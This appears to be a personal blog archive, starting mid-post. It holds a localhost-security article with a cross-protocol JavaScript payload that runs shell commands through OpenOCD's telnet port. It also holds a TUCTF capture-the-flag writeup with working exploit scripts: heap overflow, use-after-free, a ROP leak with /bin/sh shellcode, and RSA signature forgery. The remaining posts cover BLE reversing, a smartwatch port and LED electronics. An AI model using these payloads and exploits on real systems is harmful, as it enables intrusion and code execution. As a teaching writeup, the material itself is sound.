Methods like basic auth or standard session cookie based authentication aren’t sufficient for the same reason they aren’t sufficient for “normal” web services. Attacker-executed request will inherit the users credentials even if the request later fails because of the same-origin policy. Explicit protection against Cross Site Request Forgery is necessary.

Cross protocol scripting

Anyway, so all these browsers and HTTPs and JavaScripts and what have you clearly suck.

Let’s just write a simple telnet interface for our application like it’s the nineties. Then none of this modern rubbish can do us any harm right?

Unfortunately, this assumption is also wrong.

Let’s see what happens if we send an HTTP request to the telnet interface of (an unpatched version of) OpenOCD (a popular open source tool for microcontroller debugging).

Open On-Chip Debugger
> POST / HTTP/1.1
invalid command name "POST"
> Host: 127.0.0.1:4444
invalid command name "Host:"
> Connection: keep-alive
invalid command name "Connection:"
> Content-Length: 12
invalid command name "Content-Length:"
> Pragma: no-cache
invalid command name "Pragma:"
> Cache-Control: no-cache
invalid command name "Cache-Control:"
> Origin: https://m.atx.name
invalid command name "Origin:"
> User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
invalid command name "User-Agent:"
> Content-Type: text/plain;charset=UTF-8
invalid command name "Content-Type:"
> Accept: */*
invalid command name "Accept:"
> Accept-Encoding: gzip, deflate, br
invalid command name "Accept-Encoding:"
> Accept-Language: en-US,en;q=0.9,cs;q=0.8,la;q=0.7,fr;q=0.6
invalid command name "Accept-Language:"
>

That’s right — nothing really happens. Line based protocols in general tend to be very fault-tolerant, especially if they are meant to be used manually.

This opens up an attack vector — we are forced by the constraint of running in a browser to send an HTTP requests with a bunch of headers we can’t really affect in any meaningful way. Body of the request is completely under our control though.

As all of the “invalid commands” get dropped anyway, all we need is to include exec do_evil\n (OpenOCD for “run this in a shell”) in our POST request body and we are done.

var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:4444", true);
x.send("exec xcalc\r\n");

This is a very insidious type of attack as all the potential cross-protocol paths might not be obvious. For example, the above described exploit can be slightly modified to use Gopher instead of HTTP. The modified version works with current OpenOCD and elinks.

Modern browsers provide some mitigation by refusing to connect to a list of what are considered “unsafe” ports. Applications can attempt to identify cross-protocol requests (for instance by detecting the Host: string) and terminate the connection before damage occurs.

DNS Rebinding

This is an awesome trick originally invented for bypassing same-origin policy on firewalled servers by bouncing off of a browser behind said firewall. It also works nicely for our localhost-bound services.

The malicious JavaScript has no problem with the same-origin policy. For all intents and purposes the code comes from the same origin as the response.

When poking around with this attack method, the public rbndr server comes in handy.

Some DNS recursors prevent this attack by refusing to resolve public TLDs to private IP ranges (dnsmasq --stop-dns-rebind).

Checking the Host: request header server-side and refusing to serve unexpected domains goes a long way in preventing this.

Final observation

TCP was never meant as a mechanism for communication between processes on the same machine. Caution should be exercised when implementing localhost-only applications.

Reversing Mipow RGB BLE lightbulb protocol

Tue, 12 Dec 2017 00:00:00 +0100

The other day, I impulsively bought a cheap chinese RGB “smart” light bulb. I figured it would be a fun toy to play with and also an easy Bluetooth Low Energy reversing target practice.

Sniffing the communication

As the vendor provides an Android app, sniffing the communication is trivial — just enable the “Bluetooth HCI snoop log” in Developer Options and btsnoop_hci.log should magically appear on a phone-dependent location on your file system. This file can then be opened in Wireshark which comes with all the needed Bluetooth dissectors included.

Fiddling around in the application for a bit and then opening the Bluetooth log reveals some easy targets (don’t forget to filter only GATT messages and the relevant address).

These are obviously RGB values being written to the device (the first byte later turned out to be an additional warm-white brightness channel).

The device also exposes several obvious (or even standard) characteristics. There is even a battery characteristic for whatever reason.

Manually writing characteristics

Characteristics can be manually written to using bluetoothctl, as follows:

[bluetooth]# connect 31:C2:4B:19:AC:E6
Attempting to connect to 31:C2:4B:19:AC:E6
[CHG] Device 31:C2:4B:19:AC:E6 Connected: yes
Connection successful
[CHG] Device 31:C2:4B:19:AC:E6 ServicesResolved: yes
[PLAYBULB smart bulb]# select-attribute 0000fffc-0000-1000-8000-00805f9b34fb
[PLAYBULB smart bulb:/service0016/char0024]# write 00 00 255 00
Attempting to write /org/bluez/hci0/dev_31_C2_4B_19_AC_E6/service0016/char0024

Intermezzo: Characteristic UUID from the handle

Note that the logs show something called “handle” for the write/read commands. Usually, we want to refer to the characteristic by its UUID, as the handle could potentially change in between software versions.

This can easily be accomplished using the gatttool utility which comes with BlueZ.

[31:C2:4B:19:AC:E6][LE]> connect
Attempting to connect to 31:C2:4B:19:AC:E6
Connection successful
[31:C2:4B:19:AC:E6][LE]> char-desc
handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb
handle: 0x0002, uuid: 00002803-0000-1000-8000-00805f9b34fb
handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0004, uuid: 00002902-0000-1000-8000-00805f9b34fb
handle: 0x0005, uuid: 00002800-0000-1000-8000-00805f9b34fb
...

Security considerations

Notice that nowhere did the light bulb require any sort of authentication/pairing. There is a PIN characteristic, which can be configured in the vendor application.

However, as far as I can tell, the PIN only gets read back and checked by the application itself and therefore provides only a semblance of protection. Welp.

Python library

I have (partially, there are still unknown characteristics) implemented the protocol as a Python library (which is a thin wrapper around BlueZ DBus interface). The library also includes a command line tool and an MQTT bridge.

Asteroid OS on the LG G Watch R

Sun, 26 Mar 2017 00:00:00 +0100

I have ported Asteroid OS to the LG G Watch R — it is still an early version, lacking multiple features.

I received my LG G Watch R as a gift during my Google Code-In grand prize trip back in 2015, but as I don’t carry a phone around very much, I didn’t get much of an use out of it.

Overall, I would like to get my watch to cooperate with my laptop, rather than with a phone. Network-over-bluetooth works on Asteroid (though not on G Watch R yet, as bluetooth is broken as of now), and given the fact that it is a more or less “proper” Linux, adding capabilities should be easy (periodic Wi-Fi scanning? mpd control? X server urgent alerts?).

TUCTF writeup

Mon, 30 May 2016 00:00:00 +0200

TUCTF was a capture the flag organized by the University of Tulsa. I participated with a friend and we even managed to score first place in the high school bracket.

WoO

$ ./WoO
Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.

Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
1
Choose the type of lion you want:
1: Congo Lion
2: Barbary Lion
1
Enter name of lion:
nameoflion
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
3
Choose the type of bear you want:
1: Black Bear
2: Brown Bear
2
Enter the bear's name:
bearsname
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
5

Hmm. Opening the binary in radare shows some immediately suspicious calls to scanf(“%s”). It also shows that the structs containing the data about the animals are stored on the heap and it also reveals the struct layout.

There is also a secret function named pwnMe, which gets called when the number 0x1337 (4919) gets passed as a menu option and a function named l33tH4x0r (not called anywhere) which loads the flag from a file on the target system and prints it.

Opening up the pwnMe function in gdb shows, that it loads the index of the last bear struct (which gets set in the makeBear function), checks if the type of the bear is equal to 3 and if it is, it loads a function pointer from the start of the struct and then jumps to anywhere the pointer points to.

The first problem is the bear type — we can choose either 1 or 2, but not 3. However, looking at the struct layout it looks like this can easily be bypassed by overflowing the bear name scanf(“%s”) as the type is placed right after it.

struct animal {
	char name[20];
	uint32_t type;
}
struct bear {
	void (*funcptr)();
	char name[12];
	uint32_t type;
}

Next the default 0xdeadbeef pointer needs to be overwritten, it is before the name, so overflowing the bear name won’t help.

Notice that the structs are arranged after one another on the heap - this is what the exploit relies on.

Okay, so the plan is as follows:

Load first two animals, does not matter which ones
Load a bear, overwrite its type with 3
Free the struct right before the bear struct
Overwrite the function pointer at the start of the bear struct using the scanf overflow by allocating another animal (this allocation should be put where the struct deleted in step 3. was)

The exploit then looks as follows:

#! /usr/bin/env python3

import struct
import sys

func = 0x004008dd # l33tH4x0r

out  = b"1\n1\nzzzz\n"
out += b"1\n1\noooo\n"

out += b"3\n1\n"
out += b"aaaaaaaaaakk\03\n"

out += b"4\n1\n"
out += b"2\n1\nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
out += struct.pack("<I", func) + b"\n"

out += b"4919\n"

sys.stdout.buffer.write(out)
sys.stdout.buffer.flush()

WoO2-fixed

This is a bit more complex variant of the previous challenge, as the scanf overflow is fixed, so the bear type cannot just be overwritten.

Returning to the bearOffset variable, notice that it does not get cleaned when the bear gets deleted.

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) c
Continuing.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
3
Choose the type of bear you want:
1: Black Bear
2: Brown Bear
1
Enter the bear's name:
bear

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) p bearOffset
$1 = 0
(gdb) c
Continuing.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
4
Choose your friends wisely..
Which element do you want to delete?
0

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) p bearOffset
$2 = 0

Another important thing to notice is the difference in struct layout between the bear struct and the other animals — the space in the bear struct occupied by the function pointer is reused in the other animal structs for the name string.

struct animal {
	char name[20];
	uint32_t type;
}
struct bear {
	void (*funcptr)();
	char name[12];
	uint32_t type;
}

This leads to the followint reuse-after-free scenario:

The bear struct gets loaded
The bear struct gets freed
Another struct takes its place, with animal type 3 and the target function pointer as its name.

#! /usr/bin/env python3

import struct
import sys
import time

func = 0x0040090d # l33tH4x0r

out  = b""
out += b"1\n1\n" + b"a" * 19 + b"\n"

out += b"3\n1\n" + b"c" * 11 + b"\n"
out += b"4\b1\n"

out += b"2\n3\n" + struct.pack("<Q", func) + b"\n"

out += b"4919\n"

sys.stdout.buffer.write(out)
sys.stdout.buffer.flush()

Especially Good Jmps

What's your name?
aaaaaaaaaa
What's your favorite number?
1
Hello aaaaaaaaaa, 1 is an odd number!

$ ./checksec.sh --file egj
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   egj

The challenge description also says that ASLR is enabled on the remote server.

What's your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
What's your favorite number?
1
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, 
1 is an odd number!
fish: “./egj” terminated by signal SIGSEGV (Address boundary error)

Looking at how the name is loaded:

Okay, so we have full control over the stack and DEP is disabled, however, as the stack location is random, we cannot just load a shellcode and then jump to it as its address is unknown.

Note that the binary is not PIE, so at least all the functions which get loaded from libc and the main application code is is accessible using constant addresses.

Let’s run a debugger and put a breakpoint at return from the main function (which is where we first are able to get control over the execution).

Nice, so there is a stack pointer on the stack, now we need to leak it. To do that, a fragment of the “Hello %s, %d is an odd number!” can be used (remember, the binary is not position independent, so this will stay on a constant address) and an address of the printf function from the PLT.

In the first round of the exploit, the stack will be arranged as follows:

Pointer to printf in the PLT
main address (as we need to run main one more time after leaking the pointer)
Pointer to “%d is an odd number”
Some stack pointer

This will cause the server to output the stack pointer, the second round is then easy — just load a pointer to the shellcode and the shellcode itself.

#! /usr/bin/env python3

import sys
import telnetlib
import struct

tel = telnetlib.Telnet("130.211.202.98", 7575)

main = 0x0804851d
printf = 0x080483b0

leakstr = 0x080486d8 + len("Hello %s,")

out  = b""

out += b"a" * 44
# Build stack frame
out += struct.pack("<I", printf) # Go to printf
out += struct.pack("<I", main) # Return to main for a second round of exploitation
out += struct.pack("<I", leakstr) # printf("..%d..") leak a pointer to stack

out += b"\n"
out += b"1    " # We need something to delimit the digit but not \n as it would interfere with gets later

print("Leaking address...")
tel.write(out)

assert tel.read_until(b"\n") == b"What's your name?\n"
assert tel.read_until(b"\n") == b"What's your favorite number?\n"
assert tel.read_until(b"\n").startswith(b"Hello ")

# Read leaked address
line = tel.read_until(b"\n")
print(line)
addr = (int(line.split(b" ")[-5]) + 2 ** 32) % 2 ** 32

print("Leaked %08x" % addr)

# We now have pointer to stack, launch the real exploit

# http://shell-storm.org/shellcode/files/shellcode-827.php
out = b""

out += b"b" * (32 - len(out))

out += struct.pack("<I", addr + 0x40 + len(out) + 8 + 32)

out += b"\x90" * 32
out += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

out += b"\n"
out += b"1\n"

tel.write(out)

assert tel.read_until(b"\n") == b"What's your name?\n"
assert tel.read_until(b"\n") == b"What's your favorite number?\n"
assert tel.read_until(b"\n").startswith(b"Hello ")

tel.write(b"cat flag.txt\n")

while True:
    print(tel.read_until(b"\n"))

Reverse your Rage

$ ./rage.exe                                                             1s
As you move through the layer of anger, you are stopped by an furious giant.
Lucifer, clever as always, convinces him not to obliterate you, but to instead give you a puzzle
The giant tells you that if you find the word that solves the puzzle, he will let you pass
> whatever
Nope, the giant says with a laugh

Opening up the file in IDA immediately shows that it was written in C++. This is as good as an obfuscation, especially because this is the first time I am reversing anything written in it.

The task is to figure out what input to the analyzeMeow function will make it return true. The important parts of the function are here:

The first part is easy to puzzle out — compare every character of the input at an odd index to the characters stored in mewOne. This leads to:

t_c_f_A_d_e_p_r_e_o

After staring at the second part for a bit, I decided to take a more straigtforward approach:

The point at which the comparison fails is at the mov [rbp-25h], 0 line. The current character index is stored at [rbp-0x2c]. This means that the flag can easily be guessed character-by-character by setting a breakpoint to trigger when the comparison fails and checking whether the counter incremented beyond the currently guessed character.

Altough this could very likely be easily implemented by scripting gdb directly, there was not enough of time for me to learn that, so I just took a semi-automatic approach:

#! /usr/bin/env python3

from subprocess import Popen, PIPE

alphabet = "".join([chr(i) for i in list(range(ord("a"), ord("z"))) +
                                    list(range(ord("A"), ord("Z")))])

at = "tuctf{A_d_e_p_r_e_o}"

while "_" in at:
    for l in alphabet:
        cur = at.replace("_", l, 1)
        p = Popen(['gdbserver', "127.0.0.1:4444", "./rage.exe"],
                  stdout=PIPE, stdin=PIPE, stderr=PIPE)
        stdout_data = p.communicate(input = cur.encode())
        if input("yes?") == "g":
            at = cur
            print(at)

And in another window:

$ while true; gdb -q rage.exe -ex 'target remote localhost:4444' -ex 'break *0x40105b' \
	-ex 'cont' -ex 'x/u ($rbp - 0x30)' -ex 'set confirm off' -ex 'quit'; sleep 1; end

Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 14
...
Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 14
...
Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 16

Secure Auth

Welcome to RSA authentication!
give me message to sign:
1
Sure, I will sign that:
1
Only authorized people can view the flag
give me a signature for get_you_hands_off_my_RSA!:

Okay, here we have an RSA signing oracle (it obviously won’t sign the requested message directly). However, this oracle is not using proper padding, which has a lot of problems.

First, the public key needs to be recovered, this can be done using a pair of two signatures, $(m_1, s_1),\ (m_2, s_2)$:

\[m_i = s^e_i \ \bmod \ n \\ s^e_i = k_in + m_i \\ \gcd(s_1^e - m_1, s_2^e - m_2) = \gcd(k_1, k_2) n\]

This also means guessing the public exponent, which turns out to be the commonly used $65537$. Altough $\gcd(k_1, k_2)$ is not guaranteed to be $1$ it is easy to just pick new message pairs until it is (the public key then can be verified by getting the server to sign it, as $N^d \bmod N = 0$).

Now onto the signature forgery. We first need to pick a constant $k$ such as that the message ($m_b$) is evenly divisible by it. Signatures for $k m_b$ and $k$ can then be used to create a valid signature for $m_b$.

\[\begin{align} s_k &= k^d \bmod N \\ s_m &= (km_b)^d \bmod N \\ &\Rightarrow \\ s_b &= s_m s_k^{-1} \bmod N \end{align}\]

#! /usr/bin/env python3.4

from Crypto.PublicKey.RSA import inverse
import telnetlib
import gmpy2 as g

e = 65537

def get_signature(m):
    tel = telnetlib.Telnet("104.196.116.248", 54321)
    while True:
        line = tel.read_until(b"\n").decode()
        if line.startswith("Welcome"):
            pass
        elif line.startswith("give me message to sign:"):
            tel.write(str(m).encode())
        elif line.startswith("Sure, "):
            pass
        else:
            return int(line.strip())

def fromstr(s):
    ret = 0
    for c in s:
        ret = (ret << 8) | ord(c)
    return ret

m1 = g.mpz(2)
s1 = get_signature(2)
m2 = g.mpz(3)
s2 = get_signature(3)

N = g.gcd(s1 ** e - m1, s2 ** e - m2)

mb = g.mpz(fromstr("get_your_hands_off_my_RSA!"))
k = 3

kmb = k * mb

skmb = get_signature(kmb)
sk = get_signature(k)

smb = (skmb * g.invert(sk, N)) % N

print(smb)

Hash n Bake

def to_bits(length, N):
    return [int(i) for i in bin(N)[2:].zfill(length)]

def from_bits(N):
    return int("".join(str(i) for i in N), 2)

CONST2 = to_bits(65, (2**64) + 0x1fe67c76d13735f9)
CONST = to_bits(64, 0xabaddeadbeef1dea)

def hash_n_bake(mesg):
    mesg = mesg + CONST
    shift = 0
    while shift < len(mesg) - 64:
        if mesg[shift]:
            for i in range(65):
                mesg[shift + i] ^= CONST2[i]
        else:
            pass
            #print("  ", end="")
        shift += 1
    return mesg[-64:]

def xor(x, y):
    return [g ^ h for (g, h) in zip(x, y)]

PLAIN_1 = "goatscrt"
PLAIN_2 = "tu_ctf??"

def str_to_bits(s):
    return [b for i in s for b in to_bits(8, ord(i))]

def hex_to_bits(s):
    from binascii import unhexlify
    s = unhexlify(s[2:])
    return str_to_bits(s)

def bits_to_hex(b):
    return hex(from_bits(b)).rstrip("L")

if __name__ == "__main__":
    with open("key.txt") as f:
        KEY = to_bits(64, int(f.read().strip("\n"), 16))

    print(PLAIN_1, "=>", bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_1)))))
    print("TUCTF{" + bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_2)))) + "}")

#  Output
#  goatscrt => 0xfaae6f053234c939
#  TUCTF{****REDACTED****}

So, here we are given $hash(xor(k, m_1))$ and $m_2$ and need to compute $hash(xor(k, m_2))$. As it looks like, we need to inverse the hash function and then xor PLAIN_1 with the result to get KEY.

Looking at the hash function, there is an important observation to make:

The last bit of the result is flipped (compared to CONST) if and only if the message got XORed in the final round.

After un-xoring it, the same applies to the previous bit and so on, so the inverse hash function looks as follows:

def unhash(h):
    h = [0] * 64 + h
    # Iterate backwards and xor when needed
    for x in range(127, 63, -1):
        if h[x] != CONST[x - 64]:
            # XOR backwards
            for i in range(64, -1, -1):
                h[x - i] ^= CONST2[64 - i]
    return h[:64]

Another important observation is, that the first bit of CONST2 is 1 – this means that the message can safely be initialized to zeroes, as that is what it ends up being after the hash function runs forward.

To make this a bit more clear, let’s take a look at some intermediate values:

  00 0111010001100101011100110111010001110100011001010111001101110101   1010101110101101110111101010110110111110111011110001110111101010
! 01 0011001110011100111011000110100111000000001010001011111000001011   1110101110101101110111101010110110111110111011110001110111101010
! 02 0001000001100000001000111110011100011010000011100101100010110100   1100101110101101110111101010110110111110111011110001110111101010
! 03 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
  04 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
  05 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
...
  58 0000000000000000000000000000000000000000000000000000000000010100   0110100011010101111110000001001011100101100111011011001011101010
! 59 0000000000000000000000000000000000000000000000000000000000000101   1001011010110010001111110111111111110110111011101110110101111010
  60 0000000000000000000000000000000000000000000000000000000000000101   1001011010110010001111110111111111110110111011101110110101111010
! 61 0000000000000000000000000000000000000000000000000000000000000001   1110100100101011110011101010010010110010001100100011101010011110
  62 0000000000000000000000000000000000000000000000000000000000000001   1110100100101011110011101010010010110010001100100011101010011110
! 63 0000000000000000000000000000000000000000000000000000000000000000   1111011011001101101100101101001001100011000001010000111101100111

(exclamation marks show when the result has been xored)

Update: Prizes

The prizes have finally arrived!

Pulsing an LED with two timers

Thu, 31 Dec 2015 00:00:00 +0100

While looking at the power LED on my notebook when it is in standby, I started to think about a way to implement the typical “breathing” animation. The standard way involves having an interrupt which gets called a few dozen times a second setting (much higher frequency) PWM value on the LED.

Wouldn’t it be nice, if one could just configure the hardware and the LED would perform the pulsing sequence without need for any software intervention?

Basic function

In acoustics, there is a concept called “beat”.

In short, if we try to sum two sinusoids with frequencies $f_1$ and $f_2$, which are relatively close to each other, the resulting waveform is going to pulse at $f_1 - f_2$ with frequency $\frac{f_1 + f_2}{2}$.

1000kHz + 1001kHz

I am not going to perform any rigorous proving here, but addition is fairly similar to performing the AND operation and square waves are similar to sinusoids, so we can intuit that if we manage to do AND on two square waves of different frequencies, we should get a similar effect.

Ok, producing a square wave of a given frequency on a pin should be trivial, and the simplest way to perform the ANDing is probably the following:

There are four possible states in this circuit, and the LED is going to be lit only iff the top pin (say $b_1$) is high and the bottom ($b_2$) is low. So this circuit basically performs $b_1 \wedge \neg{b_2} $

Note: The LED is going to get reverse biased, do not forget to check whether it can handle whatever the reverse voltage will be.

Anyway, let’s actually verify that it does what it should:

Just by looking at how the waveforms re-align in time is enough to tell that the brightness waveform is going to be a triangle wave. At first this does not sound like something that would be similar to breathing, but it looks reasonably good. The fact that human eyes do not sense brightness linearly probably helps significantly.

Adding PWM to the mix

Now we have the basic pulsing animation done, but only the pulsing frequency is controllable. However, if there is PWM on the output pins available, it can be used to make the animation much more customizable.

Simulator

To get some intuition for getting the configuration right, I hacked together a D3-driven interactive simulator:

●

Also note how the peak brightness changes, this needs to be compensated for by changing the series resistor’s value.

Conclusion

There are obviously some disadvantages to this method — especially the fact that it needs two entire timers. On the other hand, modern MCUs tend to end up with a ton of unused timers anyway in a lot of applications.

atx

Fun with linear algebra

The Catch 2019 writeup

Contents

The Infiltration

Payment Terminal

Vacuum Cleaner

Colonel Roche

Google CTF 2019 writeup

Contents

Flagrom

Secure boot

Dialtone

DevMaster 8001

GPS frequency counter

Measurement method

Error analysis

Hardware

FPGA

Board

Bill of materials

Firmware

USB Stack

Source

Port scanning from the browser

Don't just bind to localhost

Basic case

WebSockets

Password protection

Cross protocol scripting

DNS Rebinding

Final observation

Reversing Mipow RGB BLE lightbulb protocol

Sniffing the communication

Contents

Manually writing characteristics

Intermezzo: Characteristic UUID from the handle

Security considerations

Python library

Asteroid OS on the LG G Watch R

TUCTF writeup

WoO

WoO2-fixed

Especially Good Jmps

Reverse your Rage

Secure Auth

Hash n Bake

Update: Prizes

Pulsing an LED with two timers

Basic function

Adding PWM to the mix

Simulator

Conclusion